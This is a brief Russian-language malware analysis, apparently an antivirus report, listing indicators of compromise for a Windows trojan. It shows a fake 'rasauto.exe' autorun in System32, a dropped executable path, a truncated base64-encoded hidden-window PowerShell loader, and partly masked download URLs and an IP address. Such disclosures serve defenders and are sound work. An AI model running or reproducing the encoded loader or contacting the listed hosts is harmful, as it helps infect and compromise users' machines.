Техническая информация
- 'rasauto' "<SYSTEM32>\NlsLexicons0022\rasauto.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAGUAaABuAHYANQBsAD0AKAAoACcAWQAnACsAJwBnAG4AJwApACsAJwB2AHAAJwArACcAaQBvACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAUgBwAFIAbwBmAGkAbABFAFwARQBpADEAcwBKAD...
- %HOMEPATH%\ei1sj5c\z2_iglc\eq8gukev.exe
- <SYSTEM32>\nlslexicons0022\rasauto.exe
- %HOMEPATH%\ei1sj5c\z2_iglc\eq8gukev.exe в <SYSTEM32>\nlslexicons0022\rasauto.exe
- '11#.2.218.1':80
- http://co##ub.de/cgi-bin/qgi3ncv70163850/
- http://11#.2.218.1/wOjsyMbXD2ayV3XQeF/TRATjUHHFQY0K78P/pW3msU8W7m5kDLy/tUxm40v9qUe/ZN0Q13CANZxejMuqtc/
- DNS ASK co##ub.de
- '%HOMEPATH%\ei1sj5c\z2_iglc\eq8gukev.exe'
- '<SYSTEM32>\nlslexicons0022\rasauto.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAGUAaABuAHYANQBsAD0AKAAoACcAWQAnACsAJwBnAG4AJwApACsAJwB2AHAAJwArACcAaQBvACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAUgBwAFIAbwBmAGkAbABFAFwARQBpADEAcwBKAD...' (со скрытым окном)